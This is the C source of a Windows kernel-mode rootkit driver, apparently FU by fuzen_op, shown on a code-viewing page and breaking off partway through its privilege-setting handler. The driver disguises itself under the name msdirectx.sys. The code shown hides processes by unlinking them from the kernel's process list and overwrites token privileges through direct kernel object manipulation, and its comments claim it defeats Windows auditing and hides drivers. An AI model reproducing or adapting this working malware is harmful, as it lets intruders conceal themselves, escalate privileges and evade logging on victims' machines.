📄 rootkit.c
字号:
///////////////////////////////////////////////////////////////////////////////////////
// Filename Rootkit.c
//
// Author: fuzen_op
// Email: fuzen_op@yahoo.com or fuzen_op@rootkit.com
//
// Description: This driver does all the work of fu.exe. The driver is never unloaded
// until reboot. You can use whatever methods you like to load the driver
// such as SystemLoadAndCallImage suggested by Greg Hoglund. The driver
// is named msdirectx.sys. It is a play on Microsoft's DirectX and is named
// this to help hide it. (A future tool will hide it completely!) The
// driver can change the groups and privileges on any process. It can also
// hide a process. Another feature is it can impersonate another logon
// session so that Windows Auditing etc. does not know what user really
// performed the actions you choose to take with the process. It does all
// this by Direct Kernel Object Manipulation (TM). No worries about do I have
// permission to that process, token, etc. If you can load a driver once,
// you are golden! NOW IT HIDES DRIVERS TOO!
//
// Date: 5/27/2003
// Version: 2.0
//
// Date 7/04/2003 Fixed a problem with a modified token not being inheritable.
// 12/04/2003 Fixed problem with faking out the Windows Event Viewer.
// Cleaned up the code a lot!
// 12/05/2003 Now the driver walks the PsLoadedModuleList and removes references
// to the device being hidden. Even after the device is hidden, a user
// land process can open a handle to it if its symbolic link name still
// exists. Obviously, a stealth driver would not want to create a or it
// could delete the symbolic link once it has initialized through the use
// of an IOCTL.
#include "ntddk.h"
#include "stdio.h"
#include "stdlib.h"
#include "Rootkit.h"
#include "ProcessName.h"
#include "ioctlcmd.h"
const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\msdirectx";
const WCHAR deviceNameBuffer[] = L"\\Device\\msdirectx";
//#define DEGUBPRINT
//#ifdef DEBUGPRINT
#define DebugPrint DbgPrint
//#else
// #define DebugPrint
//#endif
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceNameUnicodeString;
UNICODE_STRING deviceLinkUnicodeString;
// Setup our name and symbolic link.
RtlInitUnicodeString (&deviceNameUnicodeString,
deviceNameBuffer );
RtlInitUnicodeString (&deviceLinkUnicodeString,
deviceLinkBuffer );
// Set up the device
//
ntStatus = IoCreateDevice ( DriverObject,
0, // For driver extension
&deviceNameUnicodeString,
FILE_DEVICE_ROOTKIT,
0,
TRUE,
&g_RootkitDevice );
if(! NT_SUCCESS(ntStatus))
{
DebugPrint(("Failed to create device!\n"));
return ntStatus;
}
ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString,
&deviceNameUnicodeString );
if(! NT_SUCCESS(ntStatus))
{
IoDeleteDevice(DriverObject->DeviceObject);
DebugPrint("Failed to create symbolic link!\n");
return ntStatus;
}
// Create dispatch points for all routines that must be handled
DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] =
DriverObject->MajorFunction[IRP_MJ_CREATE] =
DriverObject->MajorFunction[IRP_MJ_CLOSE] =
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = RootkitDispatch;
// Its extremely unsafe to unload a system-call hooker.
// Use GREAT caution.
DriverObject->DriverUnload = RootkitUnload;
// Get the offset of the process name in the EPROCESS structure.
gul_ProcessNameOffset = GetLocationOfProcessName(PsGetCurrentProcess());
if (!gul_ProcessNameOffset)
{
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
// Delete the device object
IoDeleteDevice( DriverObject->DeviceObject );
return STATUS_UNSUCCESSFUL;
}
//gul_PsLoadedModuleList = (PMODULE_ENTRY) Non2000FindPsLoadedModuleList();
gul_PsLoadedModuleList = (PMODULE_ENTRY) FindPsLoadedModuleList(DriverObject);
if (!gul_PsLoadedModuleList)
{
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
// Delete the device object
IoDeleteDevice( DriverObject->DeviceObject );
return STATUS_UNSUCCESSFUL;
}
return STATUS_SUCCESS;
}
NTSTATUS RootkitUnload(IN PDRIVER_OBJECT DriverObject)
{
UNICODE_STRING deviceLinkUnicodeString;
PDEVICE_OBJECT p_NextObj;
p_NextObj = DriverObject->DeviceObject;
if (p_NextObj != NULL)
{
// Delete the symbolic link for our device
//
RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer );
IoDeleteSymbolicLink( &deviceLinkUnicodeString );
// Delete the device object
//
IoDeleteDevice( DriverObject->DeviceObject );
return STATUS_SUCCESS;
}
return STATUS_SUCCESS;
}
NTSTATUS
RootkitDispatch(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp
)
{
PIO_STACK_LOCATION irpStack;
PVOID inputBuffer;
PVOID outputBuffer;
ULONG inputBufferLength;
ULONG outputBufferLength;
ULONG ioControlCode;
NTSTATUS ntstatus;
//
// Go ahead and set the request up as successful
//
ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
//
// Get a pointer to the current location in the Irp. This is where
// the function codes and parameters are located.
//
irpStack = IoGetCurrentIrpStackLocation (Irp);
//
// Get the pointer to the input/output buffer and its length
//
inputBuffer = Irp->AssociatedIrp.SystemBuffer;
inputBufferLength = irpStack->Parameters.DeviceIoControl.InputBufferLength;
outputBuffer = Irp->AssociatedIrp.SystemBuffer;
outputBufferLength = irpStack->Parameters.DeviceIoControl.OutputBufferLength;
ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
switch (irpStack->MajorFunction) {
case IRP_MJ_CREATE:
break;
case IRP_MJ_SHUTDOWN:
break;
case IRP_MJ_CLOSE:
break;
case IRP_MJ_DEVICE_CONTROL:
if(IOCTL_TRANSFER_TYPE(ioControlCode) == METHOD_NEITHER) {
outputBuffer = Irp->UserBuffer;
}
// Its a request from rootkit
ntstatus = RootkitDeviceControl( irpStack->FileObject, TRUE,
inputBuffer, inputBufferLength,
outputBuffer, outputBufferLength,
ioControlCode, &Irp->IoStatus, DeviceObject );
break;
}
IoCompleteRequest( Irp, IO_NO_INCREMENT );
return ntstatus;
}
NTSTATUS
RootkitDeviceControl(
IN PFILE_OBJECT FileObject,
IN BOOLEAN Wait,
IN PVOID InputBuffer,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer,
IN ULONG OutputBufferLength,
IN ULONG IoControlCode,
OUT PIO_STATUS_BLOCK IoStatus,
IN PDEVICE_OBJECT DeviceObject
)
{
NTSTATUS ntStatus;
UNICODE_STRING deviceLinkUnicodeString;
MODULE_ENTRY m_current;
PMODULE_ENTRY pm_current;
ANSI_STRING ansi_DriverName;
ANSI_STRING hide_DriverName;
UNICODE_STRING uni_hide_DriverName;
int i_count = 0, i_numLogs = 0, find_PID = 0;
int nluids = 0, i_PrivCount = 0, i_VariableLen = 0;
int i_LuidsUsed = 0, luid_attr_count = 0, i_SidCount = 0;
int i_SidSize = 0, i_spaceNeeded = 0, i_spaceSaved = 0;
int i_spaceUsed = 0, sid_count = 0;
DWORD eproc = 0x00000000;
DWORD start_eproc= 0x00000000;
DWORD token = 0x00000000;
PLIST_ENTRY plist_active_procs = NULL;
PLUID_AND_ATTRIBUTES luids_attr = NULL;
PLUID_AND_ATTRIBUTES luids_attr_orig = NULL;
PSID_AND_ATTRIBUTES sid_ptr_old = NULL;
void *varpart = NULL, *varbegin = NULL, *psid = NULL;
DWORD SizeOfOldSids, SizeOfLastSid, d_SidStart;
IoStatus->Status = STATUS_SUCCESS;
IoStatus->Information = 0;
switch ( IoControlCode )
{
case IOCTL_ROOTKIT_INIT:
if ((InputBufferLength < sizeof(int) * 8) || (InputBuffer == NULL))
{
IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
PIDOFFSET = (int) (*(int *)InputBuffer);
FLINKOFFSET = (int) (*((int *)InputBuffer+1));
AUTHIDOFFSET = (int) (*((int *)InputBuffer+2));
TOKENOFFSET = (int) (*((int *)InputBuffer+3));
PRIVCOUNTOFFSET = (int) (*((int *)InputBuffer+4));
PRIVADDROFFSET = (int) (*((int *)InputBuffer+5));
SIDCOUNTOFFSET = (int) (*((int *)InputBuffer+6));
SIDADDROFFSET = (int) (*((int *)InputBuffer+7));
break;
case IOCTL_ROOTKIT_HIDEME:
if ((InputBufferLength < sizeof(DWORD)) || (InputBuffer == NULL))
{
IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
find_PID = *((DWORD *)InputBuffer);
if (find_PID == 0x00000000)
{
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
eproc = FindProcessEPROC(find_PID);
if (eproc == 0x00000000)
{
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
*((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink;
*((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink;
break;
case IOCTL_ROOTKIT_LISTPROC:
if ((OutputBufferLength < PROCNAMEIDLEN) || (OutputBuffer == NULL))
{
IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
i_numLogs = OutputBufferLength / PROCNAMEIDLEN;
if (i_numLogs < 1)
{
IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
find_PID = (DWORD) PsGetCurrentProcessId();
eproc = FindProcessEPROC(find_PID);
if (eproc == 0x00000000)
{
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
start_eproc = eproc;
RtlZeroMemory(OutputBuffer, OutputBufferLength);
for (i_count = 1; i_count <= i_numLogs; i_count++)
{
_snprintf((char *)((DWORD)OutputBuffer + ((i_count-1) * PROCNAMEIDLEN)), PROCNAMEIDLEN-1, "%s:%u",(char *) eproc+gul_ProcessNameOffset, *(DWORD *)(eproc+PIDOFFSET));
IoStatus->Information = (i_count) * PROCNAMEIDLEN;
plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET);
eproc = (DWORD) plist_active_procs->Flink;
eproc = eproc - FLINKOFFSET;
if (start_eproc == eproc)
{
break;
}
}
IoStatus->Status = STATUS_SUCCESS;
break;
case IOCTL_ROOTKIT_SETPRIV:
if ((InputBufferLength < sizeof(struct _vars)) || (InputBuffer == NULL))
{
IoStatus->Status = STATUS_INVALID_BUFFER_SIZE;
break;
}
////////////////////////////////////////////////////////////////////////////////////////
// Some of these are pointers so what they point to may not be paged in, but I don't care. It is
// proof of concept code for a reason.
find_PID = ((VARS *)InputBuffer)->the_PID;
luids_attr = ((VARS *)InputBuffer)->pluida;
nluids = ((VARS *)InputBuffer)->num_luids;
if ((find_PID == 0x00000000) || (luids_attr == NULL) || (nluids == 0))
{
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
eproc = FindProcessEPROC(find_PID);
if (eproc == 0x00000000)
{
IoStatus->Status = STATUS_INVALID_PARAMETER;
break;
}
token = FindProcessToken(eproc);
i_PrivCount = *(PDWORD)(token + PRIVCOUNTOFFSET);
luids_attr_orig = *(PLUID_AND_ATTRIBUTES *)(token + PRIVADDROFFSET);
//FindTokenParams(token, &i_PrivCount, (PDWORD)&luids_attr_orig);
// If the new privilege already exists in the token, just change its Attribute field.
for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
{
for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
{
if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (memcmp(&luids_attr_orig[luid_attr_count].Luid, &luids_attr[i_LuidsUsed].Luid, sizeof(LUID)) == 0))
{
luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
luids_attr[i_LuidsUsed].Attributes = 0xffffffff; // Canary value we will use
}
}
}
// OK, we did not find one of the new Privileges in the set of existing privileges so we are going to find the
// disabled privileges and overwrite them.
for (i_LuidsUsed = 0; i_LuidsUsed < nluids; i_LuidsUsed++)
{
if (luids_attr[i_LuidsUsed].Attributes != 0xffffffff)
{
for (luid_attr_count = 0; luid_attr_count < i_PrivCount; luid_attr_count++)
{
// If the privilege was disabled anyway, it was not necessary and we are going to reuse this space for our
// new privileges we want to add. Not all the privileges we request may get added because of space so you
// should order the new privileges in decreasing order.
if((luids_attr[i_LuidsUsed].Attributes != 0xffffffff) && (luids_attr_orig[luid_attr_count].Attributes == 0x00000000))
{
luids_attr_orig[luid_attr_count].Luid = luids_attr[i_LuidsUsed].Luid;
luids_attr_orig[luid_attr_count].Attributes = luids_attr[i_LuidsUsed].Attributes;
luids_attr[i_LuidsUsed].Attributes = 0xffffffff; // Canary value we will use
}
}
}
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -